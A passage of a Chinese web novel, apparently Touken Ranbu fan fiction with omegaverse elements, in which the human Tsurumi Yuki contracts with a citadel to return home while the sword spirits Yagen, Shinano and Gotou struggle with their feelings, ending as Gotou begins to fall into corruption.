两个人离得很近,近得能听见彼此的心跳声,砰砰砰,跳得飞快,就像是在心动一样。 鹤见悠纪看见后藤藤四郎的眼睛,那里面好像能看见原本压抑的情绪在一片片瓦解。 鹤见悠纪有一点慌乱,总觉得有什么失控了。 付丧神在此刻忽然低下了头,两个人的额头几乎要碰在一起,门口突然来了人—— “你们……” 药研藤四郎站在门口,他怔住了。 屋内的两人也同时僵住,他们保持着额头几乎要抵住的动作机械地转过头去。 他们看见药研藤四郎站在门口,手里端着托盘,托盘上放着食物,似乎还冒着热气。 付丧神的表情从惊喜变成惊讶,而后又完全沉了下来。 紫色的眼眸中带着让鹤见悠纪迷茫的情绪,月光从付丧神的身后照了进来,将其整个人都包裹住了。 鹤见悠纪看不清他的表情,却又看见对方的眼睛里仿佛有,什么东西在晃动。 太奇怪了。 “——” 大脑在响。 鹤见悠纪的手还落在后藤藤四郎的手背上,他能清晰感受到对方一瞬间的紧绷,三个人僵在原地。《 》 40-50 第41章 月光从药研藤四郎的身后露进来,鹤见悠纪看不清对方的表情,与此同时,身边后藤藤四郎被覆盖的那只手飞快的缩了回去,就像是被人抓到了偷情一样。 像是从来没有和他碰在一起,鹤见悠纪迷茫了一瞬,不由自主转过头去看后藤藤四郎。 手放在膝盖上,直接绷得发白,脑袋也转不回去,回到了可以保持距离的感觉。 鹤见悠纪左看右看。 没有任何人发动攻击,但他感觉空气中麻麻的好像有什么人在发动无形的对波。 自古对波左边输。 鹤见悠纪走神地抽象着。 药研藤四郎站在门口半天没有动静,沉默沉甸甸的压在空气中,三个人都被压得说不出话来。 虽然鹤见悠纪不说话的原因还是有点不太一样。 “你们……”药研藤四郎终于开口了,他的声音很平静,听不出什么情绪,似乎和平常是一样的,“你们饿了吧,吃点饭,我还要去收拾一下。” 但偏偏就是这份平常,反而是最大的不平常。 “哈……里面好多东西都在等着我收拾呢,我只是送点吃的过来,别饿着自己了。” 他将托盘飞快的放下,往后退去。 “药研。” 鹤见悠纪叫住了他。 药研藤四郎听话地停下,目光却仍旧避开了。 他嘴里还在不停说着:“不快些在天亮之前,把房间收拾出来不好呢,现在能利用起来的屋子越来越少了,感觉情况也不太好了呢……” 第一次见他这么话唠的样子。 “药研。” 鹤见悠纪突然从榻榻米上走了下来,他靠近药研藤四郎,丝毫没有顾及身后后藤藤四郎握得更紧的拳头。 药研藤四郎被他的靠近和呼唤打断了话语,付丧神抿唇,他知道自己的不寻常又被看穿了。 但或许这份太过显眼的不寻常,是他自己表现出来的,他真是个心机的男刃。 他唾弃自己。 药研藤四郎的目光落到鹤见悠纪的脸上又移开,然后在他的手上停下,那只刚刚覆盖在后藤藤四郎手上的那只手现在又抓住了他的手。 握得更紧,握得更实,插入了指尖,也握得更加亲密…… 这一切都清晰的表露出一个信息—— 他更重要。 然后他的眉头松开了。 药研藤四郎露出了一个笑:“你们慢慢吃吧,那是我亲手做的,味道想必还是不错的。” 他回握了鹤见悠纪的手,然后转身离开了。 脚步声越来越远,最后消失在黑暗中。 房间里又只剩下了鹤见悠纪和后藤藤四郎。 鹤见悠纪眨了眨眼,他低头看向托盘里的食物,后藤藤四郎则坐在原地盯着自己的膝盖,像是要将其盯出个洞来。 “来吃饭吧。”鹤见悠纪招呼他。 药研藤四郎说是他自己做的,鹤见悠纪吃了那么多次对方做的菜,对方什么水平他自然知道的。 味道确实像药研藤四郎自己所说的那样,不会差。 “我不饿。” 后藤藤四郎努力诚恳。 鹤见悠纪看了他一眼,也不知道这家伙是不是在逞强,看起来没什么异样,就放着他自己吃饭了。 饭菜很香,也很合他的胃口。 吃了一会算是个半饱,鹤见悠纪像是又想起身边还有个人,他侧过头去,后藤藤四郎还低着头。 药研藤四郎离开时门被半掩着带上了,月光进不来,只有头顶被打开的微弱的灯光浅浅的落了下来,它们落在的额头和鼻尖上,但仍旧留下了大片阴影,导致付丧神表情在鹤见悠纪的这个角度忽明忽暗的,看不清晰。 “后藤?”鹤见悠纪试探着叫了他一声。 对方动了动,没有抬头。 “……嗯。” 算是回应。 “你真的不饿吗?” 空气中盘菜的香味毫不顾忌的向那边飘了过去,这可没有什么无形的屏障,可以抵挡极微分子的扩散。 后藤藤四郎罕见的沉默了一会,然后笑了一下,“不饿。” 鹤见悠纪听出了一股咬牙切齿的味道。 ……? 他不知道该说什么了,看来这是饿着肚子被香香的气味饿急眼了。 鹤见悠纪看看旁边的饭团,拿起其中一个咬了一口,里面的梅子酸酸的。 思考了片刻,他还是将另外一个饭团递给了后藤藤四郎。 后藤藤四郎看着提到自己眼前的饭团却也没有再犹豫,果断的接了过来,咬了一口,同样的酸味在两人的口腔中蔓延。 吃完之后后藤藤四郎起身将东西收进托盘里,站起来就要出门。 “睡觉吧,累了一天了。” 鹤见悠纪眼底已经出现了红血丝,凑过来时他看得清楚,便也没再因为自己莫名其妙生起的情绪磨时间。 鹤见悠纪张了张嘴,想说点什么,但是后藤藤四郎的动作很快,走到门口的时候,月光将他整个人照成一道剪影,轮廓分明,还挺帅,然而只是一瞬,便彻底消失在他眼前。 鹤见悠纪坐在原地,看着被轻巧关上的门,思考了很久,但最后还是抵抗不过浓重的睡意彻底陷入了梦乡。 第二天早上,他被一阵悉悉索索的声音吵醒,睁开眼,阳光已经冲破了一半的窗户里照进来。 他揉着眼睛,坐起来便瞧见那把眼熟的刀,在门后静静的躺着,它藏在阴影里,悄无声息。 但是偏偏他坐起身就瞧见了。 鹤见悠纪眨了眨眼睛,然后伸了个懒腰,他将短刀拿起来推开门,走了出去。 刀鞘冰凉凉的,金属的触感和昨天抱着的时候一模一样,他轻声叫了叫他的名字,没有回应。 也对,白天确实是不会有回应的,除了一些模糊的感触,便没再有其他。 但突然想到昨夜对方说可以感受到体温还有心跳的时模糊又清晰的声音,他不由得把原本紧紧抱在怀中的刀松了松,然后觉得不够妥当,又单手拿着垂在身侧。 做完这个动作,又觉得自己有点神经,他叹了口气。 今天有今天的事情要做,昨天晚上的危机过后,念头在他的脑子里变得越来越清晰。 他要离开这里,而且要加速离开这里,不是因为任何人,只是因为自己这场战斗让他明白了惊喜,看清楚一件事,这里不是他能待的地方。 在这个只能依靠别人的地方,他无法安心。 他是omega,而这群家伙是alpha,他是人类,而这群家伙是付丧神。 这里是本丸,也是战场,随时可能会被时间溯行军袭击。 他留在这里是累赘。 是一个无力至极,只能寻求他人帮助的负担。 他必须更加快速的离开这里,而现在雨露期已经结束了,所有的一切都准备就绪,他应该开始尝试和本丸建立契约,然后离开这里了。 刻不容缓。 药研藤四郎听了他的话之后沉默了很久,两个人站在走廊里,药研藤四郎眼底的青色很清晰,他昨晚没有睡好,视线也飘忽不定的,一会儿落在鹤见悠纪的身上,一会儿又落在他手中的后藤藤四郎身上。 “……我先帮你把他收着吧。” 他指后藤藤四郎。 “好。” 鹤见悠纪递了过去。 脑子里还在想药研藤四郎会把后藤藤四郎的本体放在哪里的时候,对方再次开口了:“你准备好了吗?” 鹤见悠纪一愣,随机迅速反应过来他指的是什么,用力地点了点头:“当然,如果没有准备好,我怎么会来找你呢?” “我留在这里没有任何用处,给你们带来麻烦,也让我始终不能安心,既然如此,我早点回去,是所有人都能满意的结局。” 他抓着自己的衣角,就连身上的这身衣服都是眼前的刀剑给他的。 药研藤四郎听着他这话,皱了眉,想说些什么,又咽了回去,最终,他点了点头。 “……我会帮你的。” 就像最初他自己提出的那样。 和本丸签订契约的过程比鹤见悠纪想象的也简单了很多,也没有什么失败的恐怖的结果。 药研藤四郎帮助他做好了一切准备,再次重复曾经说过的话:“等契约成立之后,就是等时之政府发现,然后来寻找你。” 说这话的时候眼神很复杂,但是鹤见悠纪却没有发现。 鹤见悠纪点了点头,深吸一口气,将手掌贴了上去。 然后温柔的像是冬日的暖阳一样的东西通过手指从眼前的物件中涌了出来,包裹住他的手,直至包裹住他的全身。 他听见什么幽幽的声音,但那不是人类的文字,然后光芒散去了。 快的惊人。 鹤见悠纪慢慢睁开眼,他低头看去,没发现有什么变化,但是若有若无的,他和身下的土地、身边的建筑都构建起了一种联系。 他感到有些新奇,原来和本丸签订契约就是这种感觉吗? “这是成功了吗?”他听见自己这么问,但是没有人回答。 他转过头去疑惑寻找,他看见药研藤四郎站在他的身后神色复杂的看着他。 付丧神紧紧攥着刀柄,手指泛白。 深色的发丝遮盖住眼睛,那双漂亮的紫色眼睛似乎暗了一瞬,然后又恢复平常。 厚藤四郎不知道什么时候也走了过来,信浓藤四郎不在,他还处于易感期,冒然和鹤见悠纪见面并不好。 “恭喜。”还是厚藤四郎先开口了,他还是像之前一样面无表情,但不知道是不是鹤见悠纪的错觉,他总觉得这家伙不论是声音还是表情都变得柔和了一些。 而药研藤四郎没有说话,只是看着鹤见悠纪。 鹤见悠纪站在那里,现在也没心思再去琢磨他们的心事。 接下来的日子就是等待。 时之政府发现异常需要时间,派人来接也需要时间,药研藤四郎告诉他短则几天,长则半月,按照时政的资料整理时间总归不会太长。 鹤见悠纪听了这话,便安心下来了,他的心情很好。 是真的很好,本丸的契约就像是一个小小的保证,保证他能离开这里,保证他能回到原来的世界,保证他能回到那个没有时间溯行军,没有信息素,没有这些让他一无所有的一切的地方。 鹤见悠纪走在走廊里,阳光还和之前寻找药研藤四郎时一样暖洋洋的,他在脑海中想着回家之后要做什么。 首先一定要先好好的睡一觉,睡他个三天三夜,谁都别想叫醒他,然后去找朋友吃一顿,最后把这段经历当成一场梦,忘掉! 最终达成目标,恢复自己的学生生活。 可他走着走着,脚步却慢了下来,不知道为什么,脑海里突然闪过一些画面。 药研藤四郎和他最初的那个淡淡的吻,厚藤四郎郑重地将擦干净的花环递到他手中时的模样,还有信浓藤四郎在清晨将他房间里接出来的身影…… 他摇了摇头,想把这些甩出去。 不能再想了,反正都要走了,这些都是要忘记的,现在才想着又有什么用呢,最后都不会留在他的大脑里,想的再多,刻的再深,给自己带来的也只有遗憾而已。 他不会因为他们影响自己的未来,也不会再与这些刀剑付丧神扯上任何的关系,他想要回家,他想要回到平淡的日常,想要让自己的生活如同以前一样,慢慢的走向大部分平凡人的未来。 他不需要什么特殊,他只需要平平安安的。 药研藤四郎重新收拾出来的房间却在这时出现在他的面前,他是在寻找对方时才确定了这间房间的位置,然而脚下却不由自主又兜兜转转来到了这里。 他停了下来。 门是关着的,他想敲门。 鹤见悠纪的手抬起来,又放下。 他深呼吸,又转身。 算了,本来就没什么事,只是路过而已,没必要打扰别人,而且人还不一定在这里。 说服了自己,他就要离开,门却突然的开了。 “你怎么在这里……?” 信浓藤四郎声音从身后传来,鹤见悠纪回过头去,愣住了,没想到里面的竟然是他。 难怪之前药研藤四郎没有让他进去,甚至还走远了些,在拐角处谈事情。 付丧神站在门口,扶着门框,头发湿漉漉的贴在额头上,眼睛里的光散的,像是聚不起来,平日里活泼又热情的形象好像在一瞬间溃散了,他只穿着内里的衬衫,领口敞着,露出大片苍白的皮肤。 领口的颜色比较淡,透出里面淡淡的肉色,应该也是被水打湿了。 这家伙做了什么?刚洗了个脸嘛? 鹤见悠纪被吓了一跳:“你这是怎么了?” 信浓藤四郎张了张嘴,想要说些什么,却踉跄了一步,几乎要摔倒在地上,鹤见悠纪冲上去扶住他,身体条件反射都没经过大脑思考,就已经将人抱在了怀里,对方的身体烫的吓人。 与此同时,答案一瞬间就出现在脑海中。 易感期。 “我没事的……”信浓藤四郎的声音嘶哑,像是硬从嗓子眼里挤出来的,他低着头,却没有抗拒鹤见悠纪的接触,就连呼出的气息都是热的,身体都在颤抖,相贴的皮肉在碰到的一瞬间,就像沙漠中的旅人一样如饥似渴的贴了上来。 “不要、不要离开好不好?” 他嘴里这么说着,手上却在推,可是手上也使不出力气,软绵绵的和药研藤四郎易感期的时候完全不一样。 甚至只是落在鹤见悠纪的肩上,就会一瞬间顺着重力向下滑去。 鹤见悠纪只觉得他整个人像是火炉子一样,烫的他的手心都在滚烫。 他扶着人往里走去:“你先坐下,我去找药研。” 说完,他就要转身离开。 信浓藤四郎突然攥住了他的手腕,他的声音还在奋力的喘息着:“别去……别去好不好?” 软软的,亲昵的,就像在撒娇一样。 鹤见悠纪皱眉,他知道易感期的alpha有多么可怕,不赞同的想要抓开他的手。 然而抬头对上付丧神眼睛的一瞬间,他犹豫了。 信浓藤四郎看着鹤见悠纪眼睛里全是水,光亮得吓人,像是有什么东西在挣扎。 他在努力保持清醒,在努力让自己不被剧烈的欲望吞噬掉。 信浓藤四郎的声音断断续续的。 “要走了……我知道你要走了,你和本丸签订了契约……”声音里逐渐带出哭腔,“但是你没有来找我所以你不需要我我是没用的你要走了却没有带着我……” 后面的一长段话甚至没有丝毫停顿,鹤见悠纪有些诧异地看着他,没想到这把刀心里平常竟然在想这些。 信浓藤四郎抓着他的手腕,想用力又不敢用力:“我不会阻止你离开的,我就是想在你走之前再看你一眼,万一、万一明天你就走了怎么办?可恶的易感期。我好想和你待在一起啊。为什么这个时候会有易感期啊?” 他的声音越来越软,越来越委屈,像是下一秒就要化成水,直接扑到鹤见悠纪的身上来了。 然后他的眼睛闭上,身体彻底的失去力气,倒在他的怀中,鹤见悠纪抱着他,坐在床边,愣了很久。 信浓藤四郎身上的温度着实烫得吓人,呼吸也急促有紊乱,眉头紧皱着,像是在说什么噩梦,还低头看着他,看着那张苍白的脸,看着对方脖子上因为易感期而泛起的红,他抓着他手腕的那只手,明明已经晕过去了,却还保持着握住的姿势。 他真的很害怕他突然离开。 鹤见悠纪带着他躺在床上,用被子把人捂起来,易感期真的很像发烧,他条件反射便想让他捂点汗出来,做完又愣住了,想笑自己。 他试探着叫对方的名字,没有回应。 看来是真的难受到失去意识了。 他叹了口气,思考现在先去把药研藤四郎找来还是就在这里等着,纠结片刻,还是决定去把药研藤四郎找回来,毕竟他对这些也不是专家,他并不知道对易感期的alpha究竟该做些什么措施。 他重新整理了一下信浓藤四郎身上的被子,便站起身来,抬眼的瞬间和推门而进的药研藤四郎对视而上。 而房间中,alpha和omega的信息素交缠在一起,暧昧至极。 第42章 药研藤四郎的目光扫过房间,最后落在信浓藤四郎的身上。 “你先离开这里。” 鹤见悠纪点了点头,从信浓藤四郎身边走开。 药研藤四郎蹲下,伸手摸了摸,信浓藤四郎的额头。 他今天忽视空气中信息素交融带来的情绪影响。 信浓藤四郎体温很高,意识不清,却还在无意识的嘟囔着什么,很模糊,听不清楚。 药研藤四郎抬头看了一眼鹤见悠纪,带着一点少年看不懂的东西,但是他什么都没有说,只是站了起来,“厚,来搭把手。” 在门外同样跟随而来的厚藤四郎应了一声,他走过来,和药研藤四郎一起把信浓藤四郎扶起来。 信浓藤四郎被他们带着,软绵绵的脑袋也垂下来,看起来毫无攻击性。 “处理易感期需要点时间和手段。” 鹤见悠纪自然是理解的,他点了点头,两人架着信浓藤四郎走到门口,药研藤四郎又像想起来什么一样,嘱托道:“后藤藤四郎的本体放在你的房间里了,他晚上能够保护你。现在看来昨天白日出现时间溯行军只是个例,但如果再次出现,随时来找我们,我们会保证你的安全的。” 鹤见悠纪认真地听,乖巧地点头,他看着三人走远,站在原地,直到他们的背影彻底消失,才回过神来。 没有爆发什么呢,吓死他了。 他走到门口往外看去,不知道什么时候后藤藤四郎灰扑扑地落在角落里,看起来极为可怜。 ……不是在他房间吗? 鹤见悠纪吐槽。 他还是把他带了回去。 虽然安顿着信浓藤四郎,但是晚饭也没有落下,鹤见悠纪还是得到了非常美味的晚饭。 等到晚上太阳落下,月亮出现的时候,放在一边刀架上的短刀便化作人形。 后藤藤四郎眨了眨眼睛,看见是鹤见悠纪,他愣了一下,然后有些惊讶:“你和本丸签了契约?” 这话语气听着有些怪异,他顿了两秒补充道,“恭喜你。” 鹤见悠纪点着头,走过去站在他身边,这次刀架放着的位置在冲化作人形之后,刚好能看到窗外。 他抓着人走到窗边,然后自顾自地趴在窗台上看天空。 那块破损的窗户已经被补过了,现在倒是看着没那么造孽。 今天的月亮很亮,星星也疏散的落在四周,夜风吹了过来,带着凉意。 话说上次和后藤藤四郎独处的时候,晚上的风也一样这么凉。 他有些走神。 视线游离,突然一定。 “那是什么东西?” 白天的时候没有注意,鹤见悠纪突然发现天空中好像多了一层透明的,像是薄膜的东西,他有些好奇。 “那是保护罩,因为你和本丸签订契约了,你的灵力会主动供给本丸形成保护罩,所以现在的本丸是安全的,我们在保护罩的范围内,时间溯行军也不会轻易出现了。” 他说得很清晰。 这是件好事。 鹤见悠纪总觉得那薄膜就像是月光凝成的一样,极为漂亮。 “时间溯行军还会来吗?等契约解除之后。”鹤见悠纪突然有点好奇。 “会的。”后藤藤四郎说,“但是至少在现在是清闲的,倒是难得。” 他感叹着。 鹤见悠纪点了点头。 月光落在他们两个人身上,把影子落在地上,影子都比他们本人靠的更近。 鹤见悠纪有些叹息,付丧神不论是存在还是安全好像都离不开审神者的灵力。 但这些他也只能想想罢了,毕竟他又做不了什么。 已经签订了契约,他就要走了,到现在这种地步就没必要再思考别的什么了。 哦对。 “后藤。”鹤见悠纪突然开口喊他的名字。 “怎么了?” 鹤见悠纪直白地说:“既然没有危险的话,你也不用一直陪着我了,谢谢你。” 他知道药研藤四郎让后藤藤四郎待在自己身边的原因,大概就是如果晚上出现时间溯行军的话,自己不会突然嗝屁。 后藤藤四郎猛地转过头,一脸不可置信,看他像在看一个负心人,好像没想到他能这么果断的将人给甩了。 鹤见悠纪心虚的移开视线,盯着夜空,也不看他。 这样想着,好像确实是自己坏。 后藤藤四郎最后还是同意了,他向旁边便挪了一步,两个人的距离拉开了一点,他往旁边走了一步,两个人的距离更远了,地上的影子也不再挨着了,就算拉得再长也碰不到了。 鹤见悠纪能感受到他的目光在自己身上停留了一会儿。 然后他走了。 ……真的吗? 鹤见悠纪撇了撇嘴,看着那道人影,他才不信。 第43章 等到第二天早上,鹤见悠纪是被明晃晃的阳光照醒的,窗外的阳光亮亮地冲进来,看起来格外温暖。 他坐了起来,揉了揉眼睛,脑子里还是刚睡醒的恍惚,忽然他想起昨晚的事,犹豫半晌还是披上外套。 他推门出去,走廊上空荡荡的。 前方是一片空地,大抵算得上是个小院子。 在院子的中央,有人背对着他,正握刀比划着什么。 对方的动作很流畅,一刀一刀,劈开空气,带起轻微的破空声,就算是离得这么远,也能看出手臂之间的力量如何充足,并非因为只是练习就只做出形状来。 阳光落在那人的身身上,将他整个人涂上一层金色,对方听见脚步声,动作顿了一下,然后收刀转过头来。 看见鹤见悠纪出来了,药研藤四郎笑了笑。 “早啊,”他的语气也和平常一样,“勤快睡得还好吗?” 鹤见悠纪看着药研藤四郎想从对方的脸上看出点什么,可是他看起来和以前一样,眼神里淡淡的,嘴角拉平,看不出任何异样,是正常的谨慎的,甚至和记忆里游戏中那个不会动的PPT游戏上的状态一模一样。 “睡得很舒服,你呢?”鹤见悠纪虽然不知道为什么他会突然出现在这里,但还是揉了揉肩膀,语气自然地问道。 运动太过了,经过时间发酵,他现在全身都是酸痛的。 “我也很好。” 不知道药研藤四郎指的是什么。 鹤见悠纪看着对方拔刀收回刀鞘走了过来,在自己身前两三步的地方站定了。 “你饿了吗?我去给你做点吃的吧。” 变成厨师人设了? 他在脑子里胡思乱想着。 一觉睡到大中午,不饿是不可能的,但是鹤见悠纪却摇了摇头,拒绝他。 “我等晚饭吧。” “没事,不麻烦。”药研藤四郎这么说着,直接转身就要去走。鹤见悠纪看着他的背影,还是叫住了他:“药研。” 对方听话地顿住,侧过头来:“怎么了?” 紫色的眼睛中带出几分疑问,眉间微微下压,在很认真地等他说。 鹤见悠纪仔细的看着药研藤四郎,但仍旧没有找出几分异样,可是心底的那份不安稳就是存在的,就后对着付丧神疑惑的眼神,他还是摇了摇头,想了想又笑了笑。 药研藤四郎明显愣了一下,眼神变得更加柔和几分:“好好休息,当时政的人来了,你就可以回家了。” 他说完,头也不回走掉了。 鹤见悠纪看着他的背影彻底消失在走廊尽头,站在原地半天没动。 他反应过来哪里不对了。 药研藤四郎曾经亲口说这个计划需要本丸和付丧神,两者缺一不可,但是在现在的药研藤四郎知道的信息里自己应该是还没有和付丧神签订契约的,然而…… 鹤见悠纪的眼睛暗了暗,有什么东西逃离了他的想法,虽然自己的小算计很可笑,也很明显,但是切切实实被发现的这个事实摆在眼前的时候,他还是有些无措。 那之后的几天,药研藤四郎都没怎么靠近他,对方会给他送饭,会问他有没有什么需要,也会常常出现在院子里,但却再也没有做出像之前一样和他坐在同一个桌子旁的动作,没有再用以前一样温柔的眼神看着他。 淡淡的隔阂感出现了。 鹤见悠纪有些无措,只不过这样也好,两个人在离开前变成交情浅薄的朋友的关系的话,对谁都好。 他甚至认真思考怎么顺应药研藤四郎的做法,付丧神是这座本丸里和他关系最亲近的人,鹤见悠纪想着自己是不是也该做点什么。 只不过不需要他主动,变化已经开始了。 药研藤四郎的动作变得客气,变得疏远,和他终究像是中间隔了一层什么。 鹤见悠纪模模糊糊明白了,对方心中已经有所考量。 到现在这种地步,对方已经完完全全定位了自己的身份,但是鹤见悠纪却对这个身份一无所知,只是从对方的动作看来,偏向于过客或者骗子之类的吧,但是善良的药研藤四郎在这样被自己骗了的处境下却仍旧向他提供了安稳的条件。 或许是因为被纵容惯了,鹤见悠纪还有些不满地想着,自己还因为和本丸建立契约给大家提供了防护罩呢。 但是想了想,防护罩存在也是因为他想要回家,为了自己的私欲。 鹤见悠纪沉默了。 药研藤四郎是刀剑付丧神,而自己只是一个普通人类,因为被困在这里才会相见,两个人之间本就不应该有交集。 作为刀剑付丧神的药研藤四郎不管是像现在这样一直留在这里,还是像曾经在游戏中的印象那样和时间溯行军战斗,但是自己一定要离开了,而且还有厚藤四郎那种关系,自己欺骗了对方,而厚藤四郎…… 是药研藤四郎的兄弟。 鹤见悠纪利用了厚藤四郎来欺骗药研藤四郎。 这里一共有四把刀,他就算计了三个,四分之三不可谓覆盖面不广。 他可真是个坏男人。 不过若不是因为来到了这里,鹤见悠纪都没想到自己竟然还有这种天赋。 除此之外,后藤藤四郎也没有再出现在他的眼前,这很奇怪。 鹤见悠纪并不认为那天晚上的事情就会让对方直接和自己生了嫌隙。 不出现在他面前他也乐得清闲,后藤藤四郎疑似自我攻略的样子还让他一愣一愣的,鹤见悠纪没接触过这种类型,对方的反应也让他只能被牵着走临场发挥。 算了,都不重要! 不要再为以后没有交集的男人花心思了! 收心—— 鹤见悠纪想明白之后,看着药研藤四郎不靠近自己的动作也都适应了,他没有选择去打破这种客气又疏远的距离,两个人就这样相处着,就像是刚认识不久的陌生人一样,客气的说话,客气的笑。 在躺平中,鹤见悠纪再次迎来了夜晚。 他躺在床上看着窗外的月光,很平静,没有时间溯行军的扰乱,就像在现实世界一样。 不知道时之政府的人什么时候来,也许是明天,说不定下一秒就突然闯进来了也是有可能的,被自己想象中强盗一样的样子逗笑,他抓着被子把脑袋捂了起来。 就在这时,门外突然传来脚步声,轻轻的,慢慢的,最后在门口停住。 这种感觉很熟悉,鹤见悠纪疑惑,他一手撑着坐起来,看着那扇门。 门被拉开了。 后藤藤四郎站在门口。 好久不见了,鹤见悠纪看见他有点意外。 后藤藤四郎的脸上没有表情,但又和厚藤四郎冷冷淡淡激不起任何情感的样子有着明显的差距。 月光从付丧神的身后照进来,将他整个人盖成一道逆光的剪影,鹤见悠纪看不清对方的表情,他只能瞧见对方手臂紧绷的线条,还有紧紧握住本体的手。 但只是握住了而已,身上没有任何紧绷以及有害的气息。 鹤见悠纪迷茫,手指抓紧了被子。 他为什么会在晚上突然走过来?而且还用这种……和信浓藤四郎很像的方式。 没错,就是和信浓藤四郎很像。 和以前对方给自己送饭时的感觉一模一样,但就空气中若有若无的信息素,他无比肯定眼前的人就是后藤藤四郎。 “你怎么来了?” 见对方不说话,鹤见悠纪便率先开口了,还是没有说话,对方走了进来,反手把门拉上,月光被隔绝在外房间里按了下来,鹤见悠纪闭起眼睛,只勉强看得清对方的轮廓。 后藤藤四郎眨了眨眼睛,很快,一股淡淡的桂花的香气在空气中飘散开来。 他闻到了,这是alpha的信息素,但是为什么会突然主动将信息素露出来? 后藤藤四郎在这时走到了鹤见悠纪的面前,这时鹤见悠纪清晰的看清了对方的脸,在阴影中,付丧神的眼睛露出几分暗红色,瞳孔紧缩,看起来就像野兽的眼睛一样。 鹤见悠纪疑惑的歪了歪头,还没有察觉到危险的气息,便坐在原地,只是看着对方没有做别的动作。 后藤藤四郎手指握紧了,低着头看鹤见悠纪,开口时声音有些沙哑:“今天晚上我可以陪着你吗?” 怎么突然说这种话? 鹤见悠纪愣了一下,抿唇犹豫,最后还是点头。 “可以。”他没有拒绝。 听见鹤见悠纪的话,让后藤藤四郎看起来有些开心。 后藤藤四郎眼睛弯起,他伸出手,轻轻的碰了碰鹤见悠纪的脸颊。 付丧神的手指有些冰冷,还带着长时间使用刀剑而神奇的薄茧。 但动作始终轻轻的,带着一股小心翼翼试探的气息,像极了初次回到家的小猫在确认领地。 “怎么这么容易,”后藤藤四郎突然有些不开心,“难道谁这样询问都可以吗?在晚上和谁在一个房间都可以?” 付丧神的手指中鹤见悠纪的脸划下,落在颈脖处轻轻摸索着,动作很轻很细,显得很陌生。 鹤见悠纪感觉有些痒痒,不由得缩了缩脖子往旁边躲去,但那只手如影随形,他只能不满的皱起眉头看向对方。 一眼,他怔住了。 后藤藤四郎眼睛里的红色加深了。 鹤见悠纪有些没有看明白他现在的状态,但也知道肯定是不对劲的。 后藤藤四郎突然笑了起来,他将少年的躲避看在眼里,付丧神的笑容在暗色中显得格外诡异,又有些溺人。 “既然如此的话,在你离开之前,晚上都和我待在一起好不好?” 不对。 不对不对。 不对不对不对! 鹤见悠纪脑子炸开了。 这家伙怎么突然变态起来了?鹤见悠纪看着他,看着那双眼睛,看着对方,嘴角抹着又熟悉的笑容,整个人僵在原地,就连颈脖上的手指落点处都变得越来越敏感。 对方伏在他的弱点上,气息包裹。 空气中的桂花味已经变得浓烈起来了,伴随着付丧神本身的诡异气场,让这里变成一股奇怪让人心脏不停跳动的混乱。 ……谁来救救他? “后藤,”鹤见悠纪努力让自己的声音平稳,他看着眼前的人,希望事情还没有拐到最可怕的方向,“你知道自己在说什么吗?” “知道,药研让我来到你的身边,就是为了保护你的安全,如果不时刻在一起的话,怎么才能及时的保护你?”后藤藤四郎的话理所当然。 和之前夜晚时独处的别扭完全不一样,他就好像瞬间从一个阶段进化到另一个阶段一样,变成了一个直球王。 又或者说,这是经典cg《我好歹也是个男刃啊》出场了? 鹤见悠纪咽了咽口水,他看着付丧神额角处弹出的骨刺,知道现在不是胡思乱想玩梗的时候,连忙收回心神。 他小心询问::“……你知道自己现在是什么样子吗?” 后藤藤四郎被他害怕的样子刺激到了。 付丧神瞬间僵住,身体变异一样扭曲一瞬,半晌他收回手,眼神突然清晰。 “我知道吧,我应该知道……”他低头又抬头,声音微弱无助,“对不起,我快控制不住自己了,我不想终结在这里,可现在的情况兄弟们无法帮助我。” 他知道解决办法,但是那没有必要。 后藤藤四郎突然格外清醒,就好像从他身体各处冒出来的骨刺根本不存在一样,他一只手突然抬了起来,亲昵地将鹤见悠纪耳前的一缕头发别到耳后。 轻轻的黑色的发丝在他手中缠绕,而后乖顺的落下,他的动作很轻很沉重,就像在对待什么珍贵的东西一样。 后藤藤四郎不知道自己为什么会变得如此变态,但是现在,他的身体……他能清晰感受到力量在身体里不停压缩,仿佛下一刻就要爆炸。 他知道后果。 只是后藤藤四郎没想到第一个会是自己。 他的本源会被污染,他的理智会彻底失去,就连白天沉睡的平衡也不会再存在了。 难道是因为他竟然对兄弟的……产生了情感吗? 他很坏,但是既然都要死掉了的话,那疯狂一次也不会有人知道的,只是一句话而已,又不是说不出口。 “那天晚上你看着我,眼睛里有东西,”鹤见悠纪对他也不是那么平淡的吧,他强词夺理让记忆里的过去变得合乎自己心意,“虽然很淡,但是我很喜欢。” 就算那东西并不是因为自己而诞生的。 后藤藤四郎的手指从鹤见悠纪的耳边滑了下来,最后落在少年的肩膀上。 他眼神迷茫,声音闷闷的:“抱一下好不好?就像抱着我逃跑那时一样。” “我……” 鹤见悠纪嘴唇蠕动,他不知道自己该说什么,大脑一片空白,根本没心思消化后藤藤四郎的话。 他震惊得看着眼前的一切。 就算没有经历过正统的学习,他也明白眼前的景象绝对不是正常的。 红色逐渐占据瞳仁,突破皮囊的奇形怪状的骨刺萌生,不仅仅是头部,还有肩膀,后背,至于更多的鹤见悠纪无法看见的地方,他决定不会认为这是正常的。 他不聪明但也不是蠢货。 鹤见悠纪喉结颤抖着滚动,祈求后藤藤四郎真的存在理智。 或者,想办法让对方保持理智。 鹤见悠纪抬起手,带着无法控制的轻微战栗,他搭上后藤藤四郎落在自己肩上的手。 这种时候,他的声音温柔到可怕:“……我能做点什么吗?” 后藤藤四郎不正常,他的大脑已经不清醒了,两个人的相处如此短暂,付丧神心中突然被暗堕催生至巅峰的情感也是不正常的。 可是他已经无所谓了,就算这份情绪来的很奇怪,就算这份情绪是变态的,是不应该存在的,不是不符合常理的。 之前在现在,在眼前这一刻,他也不想再压在心底了,身上肉眼可见速度生长的骨刺,好像已经落进了他的视野。 后藤藤四郎是性格大方可靠看起来也充满阳光的刀剑付丧神,在兄弟中较高的个子让他更容易被审神者看到,但是在失去几近一半的时间以后他的这点优势都荡然无存。 一睁眼便与药研藤四郎关系亲密的少年,灵力浓厚,身上更是拥有和他们相似的诅咒。 甜蜜的从未见过的omega信息素勾在鼻尖,后藤藤四郎不敢承认,在第一次见面的时候,他似乎就已经对作为兄弟选择的大将的少年有了好感。 他脆弱,无力,却也并未在危险中丧失一切行动力。 少年紧紧抓着他冰冷的本体,从房间里跑出来,跑到兄弟们的安全圈内,跑到月光下,然后落入他的怀中。 在兄弟怀里抓着衣角依赖不已的少年惊讶地看着他,后藤藤四郎在那一刻,清晰地在鹤见悠纪的眼里看见了自己,也只看见了自己。 